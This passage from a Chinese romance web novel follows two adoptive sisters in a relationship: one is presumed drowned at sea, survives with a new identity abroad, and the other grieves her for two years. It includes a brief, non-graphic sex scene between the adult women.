苏青荷不相信,就着她的手也咬了一口她的面包,面包酥脆有韧劲,蒜香黄油味留齿,很健康的味道。 她转头看她:“你嘴巴怎么那么刁,这就是蒜香黄油的味道。” 苏青沅笑着不说话。 苏青荷两手掐住她的脖颈,摇了两下,然后又把脸蛋凑过去,说:“行了,你咬吧。” 苏青沅抬手轻捏她的下巴,把人转过来,垂眸睨她粉樱的唇,轻轻低头吻了一下,细声道:“舍不得咬怎么办?” 苏青荷坐在她的腿上,也望着她突然凑近的脸庞,她抿了下唇,忍着笑说:“那你就别咬了。” 起身要走,苏青沅又扣住她的腰,苏青荷撞进她怀里,抬眼就瞥见她眼里藏不住的爱意与情.欲,脸颊微红,她低头不敢看她的眼睛,笑着说:“你别动,我要去洗手,厨房都没收拾完。” “别收拾了。”苏青沅吻她的嘴角,轻轻说。 苏青荷说:“不行,面团弄得到处都是,今天不收拾明天全干在盆上面,更不好洗了。” 她躲开她的亲吻,又看向面前桌上的电脑,问她:“你工作不干了?” “明天干也行。” “不行。”苏青荷拒绝说,“你必须今天干。”说着,就奋力从她怀里抽离,跑到了厨房里,继续收拾残局。 苏青沅望着她的背影,也不由地失笑,继续赶着没有干完的工作。 晚上,楼上浴室里,苏青沅在洗漱刷牙。 苏青荷穿着睡衣站在她旁边,笑着问:“有那么大的味道么,你都刷了三遍了。” 苏青沅漱口完,抬头看镜子里的人,问:“你要不要再刷一遍?” 苏青荷一愣,转头问:“你嫌弃我?” 苏青沅拿着睡衣转身往旁边淋浴间,苏青荷跟过去,不依饶地问:“你是不是嫌弃我?” 苏青沅转身过来,看着她说:“我要洗澡了,一起?” 苏青荷轻怔,淋浴间里水声哗哗,热气蒸腾上来,她掉头要走,“我不洗,我刚洗好了——” 话音未落,苏青沅一把扣住她的腰,将人扯进玻璃门里,关上门。 热水兜头淋下来,苏青荷浑身湿透,刚换好的丝质睡裙全都湿了贴了身上,她睁不开眼,刚开口喊了一声:“苏青沅——” 湿密的吻覆过来,她整个人被托了起来,背抵靠在墙上。 “叫姐。”苏青沅单手抱着她,借着墙的力道,她抽出一只手,在深处诱惑她。 淋浴间水声哗哗,温度升高,雾气蒸腾上来,所有的感受被放大,苏青荷理不清任何的思绪,浑身瘫软没有一点力气,由她摆布。 双手松松地环住*她脖颈,随着动作上下轻摆,苏青荷摇头避开她的吻,忍着身体里的叫嚣,皱眉哼喊她:“我,我睁不开眼睛了。” 苏青沅贴她的眼睛,避开头顶上不断淋下的水,继续哄她喊自己:“荷荷,叫姐姐。” 苏青荷:“姐……姐姐……” 浴室被弄得乱七八糟,两人直折腾了近一个多小时。 最后没有力气,苏青沅替她清洗完身体,抱着她回房间。 苏青荷累得没有力气,躲在她怀里昏昏沉沉睡着。 她近来失眠好了很多,苏青沅都有意引着她做到累了,这样就没有精力再胡思乱想。 她知道,这一个多月以来,荷荷其实没有走出来。 接二连三的变故动荡,她不肯见人,也不肯再重启自己的人生,用琐事平淡把自己牢牢地关在自己的世界里,这个世界,只有她们两个人。 可是,可是苏青沅知道,这样的荷荷,是不快乐的。 她对她笑着,打趣着,可是她依旧是不快乐的。 她们早已融为一体,是不可以分割的存在,所以苏青沅能清楚地感知到她的情绪。她不鲜活,不快乐,像不流动的一潭死水。 甚至连这样的情绪都不肯表露给她,把自己伪装成一个厚厚的壳,她不肯走出来,也不肯让任何人闯进去,连同自己,也一并被她排除在外。 苏青沅低头吻她的眉眼,轻轻喊:“荷荷……” 苏青荷昏昏欲睡,听见头顶上温柔的声音,轻轻应了一声,“嗯……” “等我们旅游回来,你再重新找个工作吧,好不好?” 苏青荷沉默住,良久没有回答她。 “或者你不想到外面去,就在公司里,你想做什么,我来替你安排,翻译部,策划部,宣传部……只要你想要的,都可以。” 苏青荷:“就这样不好么,上班多忙,我这样每天都在家里,我们随时随地都可以在一起,我还可以给你做饭做便当,你想吃什么,我都可以学。” 苏青沅心里泛起密密麻麻的疼痛,“可我不想你没有自己的生活。或者,你重新捡起你的账号,继续写作,写你喜欢的,不用在意任何人的评判,也不用——” “姐。”她轻轻打断她,“我不想再回到过去了,我只希望,什么都不要变,就这样就好了,或者像回到十八岁的时候,我们就停留在那一刻,不要向前。” 苏青沅在漆黑夜里闭上眼睛,眼眶有些湿润,她忍住酸楚,低低地答应她:“好。” 第42章 A市天气渐热,苏青沅打算带苏青荷去欧洲轮渡游度假。 结果出发当日,到了机场,苏青沅又接到徐琦的电话,说有个项目出了问题,那头的负责人必须要苏青沅亲自到场。 飞机起飞在即,苏青沅无法,只对苏青荷说,在等两天再过去。 苏青荷望着头顶上大屏上的航班信息,她抿唇说:“不然我先过去等你好了。” 苏青沅有些犹豫,“可是……” “可是什么,我又不是没有一个人出去过,还是你怕我走丢了?” 苏青沅轻笑,“我是真的怕你丢了。” 苏青荷伸手去拿她手里的行李箱,笑道:“行了,你快去吧,我自己先过去,反正酒店都是订好的,我落地了和你打电话。” 她拖着行李箱就要去办理托运,苏青沅又拉住她,低头吻了下她的唇,“等我这边处理完,明天我就过去。” 苏青荷垂眸,道:“好。” 转身要走,苏青沅又抱住她的腰,苏青荷失笑,抬头对上她的眼睛,“干什么这么依依不舍的,我又不是一去不回了。” 苏青沅抱住她的腰,与她额头相抵,轻声说:“我也不知道,总觉得,我已经开始想你了。” 苏青荷抬起头托唇吻了她一下,说:“这样呢,还想吗?” “更想了。” 苏青荷笑,“去你的,好了,我要去办托运了,不然一会人多排队。” “那到了一定和我打电话。” “嗯,我知道了。” “荷荷——”苏青沅站在原地,看见人群里那道身影,忽然又喊她。 苏青荷停住脚,回头看她。 “我爱你。” 苏青荷微怔,然后转身离开。 十一个小时后,飞机在L国降落,一落地苏青荷就给苏青沅打了电话。 苏青沅告诉她,可能要等两天才能过去,事情还没有处理完。 苏青荷说没有关系,一个人市区逛了一天。L国她们之前来过,四处的风景也是逛过了的,这里是岛国,她在第二天的上午又决定独自出海到弗里希岛去。 当天来回,晚上正可以赶回来。 一早天气不好,海上有风,那船员是意大利人,只有十八九岁,苏青荷不懂意大利语,只能用英文和他交流。 一行人有七八个人,那船员在人群里唯独一眼看见了苏青荷。 苏青荷长得漂亮,在哪里都很受欢迎。那船员是个小伙子,精瘦身材,话很多,随时随地都在笑着,因为船上只有苏青荷一个东方姑娘,他一下就注意到了。 他告诉苏青荷,东方是一个神秘的国度,他也很喜欢东方姑娘。苏青荷笑了一下,感受出来,眼前的意大利男人喜欢中国文化。 上午八点多出海,出海的时候一旁有位老者,用意大利方言对他说:“嘿兄弟,今天的风浪太大了,恐怕要下雨,最好不要出海。” 那小伙儿笑着说:“嘿我是意大利最好的水手了,别人不能出海,我没有问题。” 苏青沅一直忙到了傍晚,才给苏青荷打电话,可电话过去,一直没有人接。 她是明早的飞机到L国,一应机票行程都已经办理好。电话没接后,苏青沅又过了一个多小时,再打过去,还是没有人接。 晚上七点,苏青沅给L国她们之前订的酒店打电话,对面接通之后,告诉她,苏青荷早上离开酒店,之后一直没有回来。 苏青沅心里隐隐有些不安,可电话一直打不通。 像是想起什么,她找到手机上荷荷的定位,最后一次更新,是在十个小时之前,弗里希岛附近。 她放大地图,发现是一座不大也不出名的海岛。这个岛,并不在她们的出游计划内。 出岛了么…… 苏青沅想着,大约是海上信号不好,所以一直打不通。 国内与L国有着六个小时的时差,此刻那头已经是夜里了,可是手机为什么一直没有开机。 苏青沅心里惴惴不安,她不停地给荷荷的手机打电话,也一直询问酒店那头的消息,就这样,几乎快要到凌晨两点钟,也并没有什么消息。 断断续续眯了没有多久,L国航班在早上七点,苏青沅天不亮就往机场赶。 苏青荷的手机一直关机中,打不通。 苏青沅上了飞机,她在飞机上睡着了,整整十一个小时的航程,她做了一个长长的梦。她梦见荷荷掉进了海里,她不住地向她呼救,她不会游泳,在马来仙本那的时候也是,漆黑冰冷的深海,一眼看不到尽头,就那样将她的荷荷吞噬进去了…… 她猛然惊醒,耳边轰隆几乎耳鸣,一声一声的心跳砰砰地,她忐忑地呼吸着,只觉得头疼欲裂。 漫长的十一个小时,几乎像漫长的十一个世纪。 苏青沅一落地,手机就开了机。 屏幕上跳出来几个未接来电,号码显示意大利。她记得,这是酒店的号码。 她急忙拨过去,那头很快接通。 苏青沅用英语沟通询问:“请问苏青荷有没有回来?” “抱歉苏小姐,我们收到通知,苏青荷女士出海去了弗里希岛,但是整艘船只失去了联系,警方已经在搜救中,我们暂时没有任何的消息。” 苏青沅整个人倏地愣住,如遭雷劈,她停站在原地,半晌没有反应过来,“你,你说什么?” “抱歉苏小姐……” 电话里重复了刚刚的话,可苏青沅什么也听不见,脑子里仿佛一下子跌宕失去了思考的能力。 电话被挂断,她站在那里,陌生的机场大厅来来往往全都是人群,陌生的脸庞,陌生的声音,陌生的笑容……她不知道自己要做什么,也不知道自己要去哪里。 梦里的场景不断浮现在她的脑海里,眼泪一下迷蒙下来,她踉跄着往外冲,跑到了酒店,不断询问着所有的情况。 酒店里得到的消息寥寥无几,只知道荷荷失踪已经快要一天一夜了。 苏青沅赶到弗里希岛,那里天空乌沉,海浪一声一声高高撞上来,无边的漆黑与恐惧一齐裹挟着她,她望向那一眼看不到的海面,几乎无法接受,荷荷会消失在这片海域里。 终于情绪奔溃,苏青沅浑身颤抖地大哭,她支撑不住身体蹲下来,双手掩面失控恸哭着。 她不该没有跟她一起过来,她也不该提议要带她出来旅游,她更不该把她绑在自己身边……如果没有这一切,就不会发生这样的事情…… 为什么会发生这样的事情,为什么…… 她没有办法接受,没有办法接受失去荷荷…… 警方搜寻了整整十天,整艘船在几十公里海峡触礁处被发现,最后宣布船上的七个人全部遇难。 警方还找到了一些物品,其中一样是一个黄色的包。 苏青沅认出来,那是荷荷的,她失控摔跌在地,几欲无法接受这个事实。 徐琦早在几天前就赶了过来,她拼命地拉住苏青沅,看见她失控地嚎啕,不由地也心如刀绞。 旁人或许不知,可这些年来,徐琦是跟着她也亲眼见证过,苏青荷对她而言代表什么,那是她的一切,是她的全部,她可以抛弃这世上任何一样东西,却无法接受失去苏青荷。 徐琦哭着拉住要奔往海里的人,颤声说:“苏总,你不能这样,荷荷已经不会回来了。” “为什么啊,为什么会这样啊……”苏青沅跌进海水里,浑身湿透嚎啕地恸哭,一句话也说不出来。 天空乌沉地像是要压下来,那肆虐的海水一遍一遍地呜咽着,仿佛也在哀悼着,她失去了荷荷,失去了她生命里的一切。 她们在L国停留近乎三个月,苏青沅不肯相信,荷荷真的不会回来,她不断地在弗里希岛附近寻找,不肯放过任何一丝一毫的信息。 可快要三个月了,一点音讯也没有。 L国签证时间到期,她们必须要回国了。 徐琦看着眼前不肯抽离出来的人,这三个月里,她像行尸走肉,不肯吃也不肯睡,整个人瘦得几乎虚脱,深夜只靠着手机里苏青荷的照片视频和微信上的语音度日过一个又一个难熬的长夜。 “苏总,已经三个月了,如果荷荷活着,她不会不来找你。”徐琦看着她,伤心说道,“你不能这样堕落下去了,如果荷荷知道你这样,她会有伤心难过,她那么爱你,怎么能忍心看见你变成这样。” 苏青沅垂眸掉眼泪,几乎泣不成声,她闭上眼睛撑着头,恸哭地摇头呜咽:“不,她不爱我,如果她爱我,她不会这样对我……” 徐琦咬着唇低头哭出声,为这样的无可奈何而痛心。 她们在十月底回国,转眼之间,盛夏早已过去,迎来的是冷冽的秋冬。 苏青沅看着这熟悉而又陌生的城市,一时间只觉得恍惚。 她像是从来没有在这个城市里存在过,一切都陌生的让她觉得惶恐与无措。 这里像是什么都没有变,只唯独少了一个人,可她却一下子失去了所有的依托。 回到家,苏青沅开门进屋。 熟悉的气息扑过来,眼泪倏地掉下来,她无措地站在玄关前,看着眼前空荡寂静的房间,整个人仿佛疼得死去一般。 她没有勇气走进去,只在玄关处就崩溃地蹲坐下去,靠坐在墙边,她双手掩面,两肩颤抖地哭泣。 三个月了,她迟迟不肯接受,可是这一刻,在这个熟悉的房间里,保存着她们共用气息的房间里,这个空空荡荡没有荷荷的屋子里,她才不得不承认,她终于失去了她的荷荷…… 第43章 某小岛上,私人医院病房里。 护士替床上的人结束输液,一个穿着白大褂的金发女人走过来,用英文问道:“她今天怎么样了?” 护士耸耸肩,道:“还是老样子,一直没有醒过来。” 女人伸手拭了一下她颈间的温度与心跳,没感受到什么异常,又问:“乔今天没有过来吗?” “她在三楼看一个病人,一会儿就会回来的。”护士说道,“她恨不得一直守在床前,一步也不肯离开。哦对了,莉利娅,这个女孩儿,是什么人呢?我看到,乔似乎很在意她。” 女人笑了笑,轻松地说:“谁知道呢,她不肯说。” 护士扬起笑脸,猜测道:“我猜,她一定是乔的女朋友。” 自从三个月前,莉利娅出海救回一个女孩儿,就带回了医院治疗。 后来她的朋友兼同事乔看见了,很激动地问她为什么这个女孩儿这里,她摇摇头,表示是她无意中救的人。 莉利娅能够看出,乔不仅仅认识这个女孩儿,她还很在意她。 也是很有缘分,居然能以这样的方式见面。只不过这个女孩伤得不轻,三个月了,一直昏迷不醒,能救回一条命,已经是奇迹了。 半小时后,乔楠从楼上下来,赶到病房里。 莉利娅看着她急切的模样,认识她这么多年,还没有见到她这样失神的样子,莉利娅笑着说:“嘿乔,她不会有生命危险了,你不用担心。” 乔楠坐在床边,拉住苏青荷的手,问她:“她什么时候能醒过来?” “她是创伤性脑损伤昏迷,不太好说,不过我觉得她恢复的很好,也许这几天就能醒过来,只是……” 乔楠:“只是什么?” “只是可能会有一些精神上的意识错乱,记忆力或者注意力之类的问题,嗯……这上面你应该比我专业,你应该理解我的意思。” 乔楠看着她,不确定地又望向床上的人,问道:“你是说,她可能会失忆?” 莉利娅:“对,是这样的,不过也可能是暂时的,多数几周或者几个月能恢复过来,但也有可能……” 莉利娅没有再继续往下说,但乔楠明白她的意思。 也有可能,荷荷会永远失去记忆。 乔楠没有想过,异国他乡,她居然会再次见到苏青荷,还是以这样的方式。 天知道,三个月前,她在病房外一眼瞥见她身影的那一刻,自己有多震惊。 仿佛上天知道她无法忘记,所以才故意把这个人送到她身边来。 这几年,她一直在L国,没有回去,所以国内所有的消息也几乎中断了。 两个月前,她忽然从旧友那里得知,国内的人都以为苏青荷去世了。 没有人知道她还活着,连同那个自以为是荷荷姐姐的苏青沅。 她不知道自己究竟怎么了,或许有阴暗的一面,她忽然觉得庆幸,她不想任何人知道荷荷的下落。 莉利娅说她会失忆,又或者,失忆是上天给荷荷一次新的开始,新的重生。 同样,也是给她的。 乔楠拉住她的手,低头贴在唇边轻声呢喃:“荷荷,醒一醒好么?” 三天后,苏青荷醒过来。 漫天的白光刺激着她的双眸,只觉头疼欲裂,浑身没有一点点的力气。 耳边不断传来呼喊声:“荷荷,荷荷……” 熟悉又恍惚,她努力了好久才一点点睁开双眼,可体力精力不支,又再次陷入昏迷。 乔楠害怕她再出事,不住地在她身旁喊她。 一直到晚上,床上的人才渐渐醒过来。 乔楠见她睁眼看着自己,欣喜地眼眶微湿,问:“荷荷,荷荷你终于醒了,还记得我么,我是乔楠,是乔楠啊!” 苏青荷望着她,意识混沌不清,什么都无法回忆起来,她想开口,可努力了半天,用了好久才发出一点声音:“我,我在哪里?” 乔楠见她彻底醒过来,喜极而泣地上前拥抱住她,笑说:“你知不知道,见到你的那一刻,我有多欣喜,你昏迷这么多天,我又有多害怕。荷荷,谢谢老天把你送到我身边来,我们再也不要分开了好不好?” 苏青荷闭了闭眼睛,感受到眼前人的眼泪湿润贴在她的下颌上,她轻轻偏过头,眼神里满是陌生与无措。 乔楠抬起头看她,看见她不认得自己,不确定地问:“荷荷,你不记得我了吗,我是乔楠啊。” 乔楠…… 苏青荷重新闭上眼睛,思绪混乱不堪,只觉得恍惚和熟悉,一些片段在她脑海里浮现,可却看不清脸,她睁开眼睛看她,口里呢喃:“乔,乔楠……” “是我,你还记得我吗,在南英中学,我们在一起的,你记得么?” 苏青荷望着她,一个字也说不出来。 乔楠从怀里掏出她的钱包,里面有一张相片,她展开来放到她面前,试图拉回她从前的记忆,说:“你看这个,这是我们去卉南的时候拍的,你还记得吗,那是我们的毕业旅行,在洪江湖,赴槛寺,栈桥石礁……你难道都不记得了吗?” 所有熟悉的记忆撞上来,那些像梦里的场景,一点点充斥着她整个身体,她望着那照片里的人,青涩的面容,灿烂的笑容,她觉得恍惚,仿佛连照片里的自己,她似乎都记不起来了。 莉利娅进来,看见房间里的两人,她主动安慰乔楠,道:“嘿乔,你不要刺激她,她现在刚醒,意识还有些混沌不清,是正常的,可能过几天就会好一些了。” 乔楠看着她,额头上的伤口已经好了很多,只是疤痕一直还留着,看着有些触目惊心。 她伸手拉住她,单手捧住她的脸颊,温柔地说:“荷荷,不要怕,我会陪着你,我不离开的。” 苏青荷看着她的眼睛,纵然她记不起她说的每一个细节,可本能还是觉得熟悉,她轻轻垂眸,又再次没有力气地沉睡过去。 “荷荷,荷荷……” 莉利娅上来扶她的肩,嘿了一声劝慰她:“乔,你是怎么回事,你不要打搅她,她只是太虚弱了,所以才不记得这些事情,也不能说话,你不要担心,她能醒过来,就已经是奇迹了,你不能着急的。” 乔楠知道自己太冲动了,她努力平复心情,低下头说:“对不起莉利娅,我只是,只是太担心了。” 莉利娅笑着坐下来,说:“我还从来没有见过你这样失控,她是你的女朋友吗?你很爱她,是不是?” 乔楠看向床上那张苍白的脸庞,无奈地说:“我曾经失去过她。现在,我不想再失去她了。” 莉利娅笑:“放心吧,是上天把她送到你的身边的,你不会再失去她了。” 一直又过了两天,苏青荷才渐渐恢复意识。 她没有失忆,只不过是昏迷太久,短暂的大脑丧失了一部分记忆。随着时间慢慢,她就会逐渐全部恢复。 乔楠每天都留在医院里照顾她,这家医院是她和莉利娅和开的私人医院。 苏青荷也渐渐记起来乔楠,她没有想过,她还会和她再见面。 乔楠问她:“荷荷,你还记得,发生什么事情了吗?” 苏青荷垂眸,她想起来自己在L国出海落水,后来就没有了意识。 她看向窗外,满世界琉璃白雪,她轻声问:“今天是几号了?” 乔楠轻抿唇:“快要十二月了,你昏迷了好久。” “十二月……”想起什么,苏青荷微怔,抬头看向乔楠。 乔楠望见她眼里的彷徨与无助,伸手牵住她,说:“荷荷,你姐姐,她以为你去世了。” 苏青荷愣了下,不动声色地从她掌心里抽出自己的手,低头说:“我,我想回家了。” 乔楠低头看着她闪躲的动作,心口微微刺痛了一下。 她开口道:“荷荷,我们还能回到从前吗?” 苏青荷眼梢轻轻垂下,道:“对不起乔楠。” “同样的话,六年前你已经对我说过一次了。”乔楠抬起头看她,“荷荷,国内的事情我都听说了,难道你还想要回到她身边吗?你不觉得这是上天的安排吗,它给了你一次重新选择的机会,你所有的挣扎和舍弃,都由上天替你做了安排。四个多月了,她早就接受你不在这个世上的事实,所有的苦痛,都会随着时间慢慢淡去,这个世上,再也没有人可以把你带入困境里,我知道你不爱她,所以上天给了你一次重来的机会,重新开启你的人生。” 苏青荷靠坐在床头,深深皱起眉闭上眼睛。 乔楠看着她挣扎的身影,心疼地伸手拥抱她,将她紧紧拥入怀里。 “荷荷,忘记吧,好不好?” 苏青荷伸手推开她,摇头说:“她会担心的,我不能这样做。” “你只想着她,可你有没有想过我,想过你自己呢,你难道这一生都要附着在她的身上吗?”乔楠不甘心扶住她两肩,望着她低下去不敢面对的双眸,引导她道,“荷荷,你总是太心软,难道你自己的伤害,会比任何人少么,你为什么不能自私一次呢?如果你回去,所有的一切都会重演,就算你们没有血缘关系,又怎么样,这又有什么区别呢?没有人会接受,你要永远都生活在这层关系里的阴影之下,这究竟值得吗?” 苏青荷眼泪迷蒙上来,滴落在被子上,眼底泛起湿热的泪雾,模糊住她的视线。 乔楠捧起她的脸庞,让她看着自己,指腹拭去她脸上的泪痕,轻轻说:“荷荷,相信我好不好?你还记得你曾经答应过我什么吗?你说过要等我的,只要我没有遇到那个人,我们就回头。我想告诉你,这六年多,我从来没有忘记过你。” 第44章 苏青荷轻怔住,泪眼朦胧看着眼前的人,“乔楠,我……” “不要丢下我。”乔楠望着她,像是知道她会反悔,所以不愿意听她接下去要说的话,她抵着她的额头,声音亲呢道,“你不舍得伤害她,所以就肯舍得伤害我么?” 鼻尖相抵,乔楠轻轻低头,要攀寻她的唇,擦碰的瞬间,苏青荷忽然警铃大作,急忙偏首推开了她。 乔楠愣在原地,嘴角泛起苦涩的笑容,轻低下头去。 “太晚了,我不打扰你了。”她起身要走。 苏青荷忽然又叫住她:“乔楠——” 乔楠走到门口停住脚,没有回头。 “我们不能回到从前了。”苏青荷看着她孤寂的背影,心有不忍,但还是开口说出了这句话。 乔楠忍着酸楚掉眼泪的冲动,没有回答她的话,伸手拉开房门离开。 苏青荷又在医院里住了近一个月,检查下来各项指标都已没有大碍,只是她身体太差,一直都有些虚弱,且有很严重的营养不良,需要长期调理。 乔楠是医科大学毕业的,虽然专业是精神类的,但对普通的调理体质还是有些帮助的,也一直亲自照顾着苏青荷。 她曾在同学圈里听闻,六月时候,苏青荷和苏青沅之间发生的事情。那些照片,她们共同的照片,昭示着这六年她究竟缺失了多少。 或许旁人无法感同身受苏青荷的矛盾挣扎,可乔楠却明白。 她们在最美的十六岁相遇相恋,她清楚地知道,苏青荷对苏青沅是一种什么样的感情。 她从来把她当亲人当姐姐看待,一个从小一起长大生活的亲人,忽然有一天没有了血缘关系。其实有没有血缘关系没有什么分别,亲情不是假的,付出去的情感也不是假的,当成姐姐一样依恋的人,突然有一天要转变成另一种身份,她知道,荷荷一直都无法接受。 高三那一年,她清楚地看到过她的处境。如果那时候她带走荷荷,今天所有的一切就都不会发生。 乔楠恨自己当年为什么没有勇气,十几岁的年纪,她承认,她与荷荷都缺乏勇气和能力。 一切是苏青沅造成的,是她的逼迫与束缚,困住了她们。 可是现在,一切问题都解决了,苏青沅再也不会知道,荷荷还活在世上。 只要她们不回国,没有人发现她们。 荷荷醒过来这一个多月,乔楠也知道,她是想要逃离的。或许也有犹豫和不舍,可她能看穿,荷荷并没有她想的那样坚定。 十二月底,苏青荷出院。 她出海丢失了一切,连同所有的物品和证件。 这里是高级疗养院,和医院还有些区别。 乔楠替她租了一套公寓,又给她添置了许多的东西。 上午出院后,乔楠开车带她回公寓。 苏青荷:“谢谢你乔楠,我会尽快把钱给你的。” 乔楠察觉到眼前人对自己的生疏,多年不见,她也不得不承认,荷荷变了。 “荷荷,就算是朋友,我也是你可以依赖的人。”乔楠看着她的背影说道。 苏青荷停住脚站在门口,犹豫了很久,可最后还是没有舍得伤害她。 她们之间,亏欠的人一直都是她,是她辜负了乔楠。 究竟,苏青荷没有回国。她在岛上待了几个月,失去身份,失去所有,这个世界上再也没有了苏青荷。 她不知道自己为什么不回去,或许无法面对,或是怯懦逃避,她承认自己有过一瞬间要结束一切的念头。 在乔楠的帮助下,苏青荷有了新的身份新的名字。 她离开了小岛,准备到L国市区去。 乔楠知道后,她已经离开了。 电话里,乔楠焦急地问:“荷荷,你为什么要走,如果是因为我,我可以答应你,我们只做普通朋友,我们……” “乔楠。”苏青荷在电话里轻轻打断了她,“一切都结束吧,曾经也好,现在也好,我们不要再见了。我知道,那时候的我,不该对你许诺什么,是我太天真,低估了时间的力量,我不再爱你了,也早就不再爱你了,让我们向前吧,这段时间,谢谢你。” 电话挂断,苏青荷删除了过往的一切,连同乔楠的号码。 乔楠站在海边,看着一望无际空旷的海面,哭得两肩颤抖。 她们分开过两次,第一次她尚且会舍不得她,可这一次,是真的毅然决绝地告别。 整片天空都是漆黑的,乔楠蹲下来,海水打湿了她的裙摆,冰凉沁入骨髓。 她早就明白,自己一直没有份量。她连苏青沅都可以舍弃,又怎么会为了她而留下来。 可是听见她的告别,听见那一句“也早就不再爱你了”,她依旧还是痛彻心扉。 或许是一种缺失,她从来没有拥有过苏青荷。 这个世界,终于彻底失去了苏青荷。 ——— 两年后,国内A市。 夜晚绝色酒吧外,应酬过半,苏青沅独自出来透气。 冬日的巷子里没什么人,只是风大得厉害。指尖的烟怎么也点不燃,她点了好几下,才终于点燃。 风呼呼吹过来,她将飘乱的碎发胡乱勾在耳后,唇边烟蒂的橙色一点火光,被风吹得忽明忽暗,她靠在那架子旁,默默抽完了这一支烟。 巷子头有人过来,找了一圈才发现她在这里。 “风这么大,怎么不穿外套就跑出来?”陆紫忻臂弯里拿了一件黑色大衣,走到她身旁递过去。 苏青沅扔掉手里新的半支烟,抬手拿过外套,淡声问:“收场了吗?” 陆紫忻看着她又抽烟了,这是她这两年染上的毛病,她酗酒抽烟,和从前几乎判若两人。 她抿了下唇,说:“还没,我跟他们说,你出来上厕所,一会回去。” “走吧。” 陆紫忻看着她落寞的背影,轻轻喊住她:“青沅,都要两年了,你还没有放下么,人生那么长,你放不下的话,以后的漫长日子,你要怎么过?” 两年前,苏青荷在国外溺亡。 从此之后,苏青沅就变了一个人。堕落了半年,她过得鬼不像鬼人不像人,之后,就一直把自己麻痹在繁忙的工作之中。 她比从前更冷漠,也更失去所有生活的力量。 徐琦曾说,苏青荷是她的命,是她的一切。 从前她不懂,可现在她用两年的时间,亲眼见*证了,那句话的份量。 她也早在两年前,知道了她们姐妹的关系后,就再也没有指望过什么了。 没有人可以介入这种关系里,那超出亲人恋人的关系,是这世上的唯一不可取代。 即便无缘,作为同学和多年朋友,陆紫忻还是不忍心看见她变成这样。 逝去的人不会回来,可余生的日子是自己的,她不想她这辈子都生活苦痛和遗憾之中。 陆紫忻跟在她身后,劝慰她道:“走出来吧,你需要开始新的生活,接受新的人,一切都不像你想的那样糟糕和恐惧,没有苏青荷的世界,没什么大不了的。” 苏青沅停住脚站在那里,轻轻垂下双眸。 已经没有人提起了,可听见“苏青荷”三个字,心还是会疼。 “新的人,你说的是你吗?” 陆紫忻无奈地笑了一下,道:“我自知没有这样的份量。” 苏青沅咽下喉间的苦涩,轻轻道:“是啊,你没有,谁也没有。” 应酬在靠近凌晨时分结束,徐琦开车过来。 陆紫忻扶着她走出来,和其他人告别之后,转头看见路边的车。 徐琦看见她们出来,忙下车去搀苏青沅。 陆紫忻:“徐琦,你送她回家了,她今天又喝了不少,我怎么劝也劝不住。” 徐琦扶住苏青沅,知道这两年来她一直是这样,几乎每天都离不开酒。 酒量也早就锻炼了出来,能喝成这样,说明是真的喝了不少。 徐琦道:“行,我知道了。陆小姐,要一起送你回去吗?” 这两年,因为公司业务上的往来,陆紫忻和苏青沅也常常接触,只不过,和从前不一样了,陆紫忻只是以一个朋友的身份,见面接触也大都因为工作。 陆紫忻道:“不用了,我开了车,代驾马上过来,你们先走吧。” 徐琦:“好,那你注意安全。” 分别后,徐琦开车带着苏青沅回公寓。这两年,苏青沅搬了家,自从苏青荷出事后,她们从L国回来那晚后,苏青沅就再也没有在家里住过。 偶然也回去过几次,可几乎也全都是失控。 徐琦知道,她很想苏青荷,家里的陈设和东西一样都没有变,那是这个世界唯一保留过苏青荷的地方。 她失去了苏青荷,只剩下一座空房子。 现在,两年了,房子里的气息都快要没有了。 尽管一直陪在苏青沅身边,徐琦也不敢相信,这两年她究竟是怎么过来的。 痛苦的,永远是活着的人。 走出来是一件不可能的事情,至少对苏青沅是这样。 凌晨空无一人的公路上,有些飘小雨。 车后座传来一道轻轻的声音:“去蓬溪别墅吧。” 徐琦轻愣,犹豫了片刻,说道:“苏总,已经太晚了,我还是送你回公寓吧。” 苏青沅:“去家里。” “好。” 车子开到蓬溪别墅门口,徐琦不放心,还要开口说话,苏青沅就先下了车,扔下一句:“你回去吧,明早八点来接我。” 不等徐琦开口,人已经离开了。 徐琦无奈,没有办法只得离开。 她知道她没有醉,即便喝得再多,她也很难醉。 是悲伤和痛苦超越了这些。 苏青沅独自走向屋子,她站在门口,看着那密码锁,迟迟没有动。 最后输入一串号码,是荷荷的生日。 苏青沅走到玄关,房间里漆黑,她没有开灯,也没有走进去,就这么坐在玄关处的木凳上,低头沉默着。 这不是一座房子,是埋葬她的坟墓。 点开手机里的对话框,苏青沅颤抖着点开一条语音。 【姐,那个烤箱里有红薯,给你留的。】 【姐,你几点下班?】 【姐,手机的验证码发我一下,我用你号码注册一个软件。】 【可以啊,晚上我给你拿。】 【姐,我有一件紫色的大衣,你给我收哪里了?】 【晚上我做海鲜盅给你吃吧姐,我刚新学的,你尝一尝。】 …… 苏青沅奔溃地哭,她没有勇气再听下去,一条又一条熟悉的声音,都只存封在了这冰冷的设备里,再也听不到了。 支撑不住痛苦,苏青沅一点点弯下腰伏在膝头,颤抖着哭泣。 寂静与孤独一齐笼罩而来,几欲要将她杀死。 第45章 “嘿Susan,在想什么?” 苏青荷一愣,视线从积满雨水的窗户上收回,思绪飘忽。 Joanne坐到她对面,托腮看着她,见她有些低落,问:“你在想什么?” 苏青荷抬头看着布满水痕的玻璃窗,淡淡说道:“又下雨了。” Joanne笑了下,道:“L国秋天就是这样,都半个月不见太阳了。我还计划带着miya到公园野餐呢。” Joanne是中欧混血儿,母亲是中国人,小时候在国内生活过几年,后来上学的时候回到L国,所以是整个AM除了苏青荷外,唯一会说中文的人。 Joanne是不婚主义,但她几年前收养了一个中国小女孩儿,是孤儿,叫miya。 miya今年七岁,出生起因为有先天性心脏病所以被生父母抛弃,后Joanne就收养了她,去年又安排给她做了个心脏手术。 手术很成功,miya现在恢复得很好,Joanne是乐天派,把七岁的miya养得健康又开朗。 苏青荷也很羡慕她这样的状态,她笑着说:“上周miya还说想看海豚,明天周末,你可以带她去海洋馆。” Joanne叹了口气,说:“不行了,刚要和你说,玛丽要我明天去一个投标会,资料我都还没看呢,今晚又得加班。” 苏青荷笑了一下,朝她伸手:“拿来吧。” Joanne愣了下,随即反应过来,欣喜地拥抱过去,激动道:“天Susan!!你简直是世上最好的人!” 苏青荷拍开她的肩膀,故意打趣道:“谁让我是miya的漂亮小姨呢,记得让她给我买她最喜欢的小蛋糕哦。” Joanne忙从后面的冰箱里提出一个四寸的包装盒,说:“给你了!” 苏青荷愣了下,“你什么时候买的?” 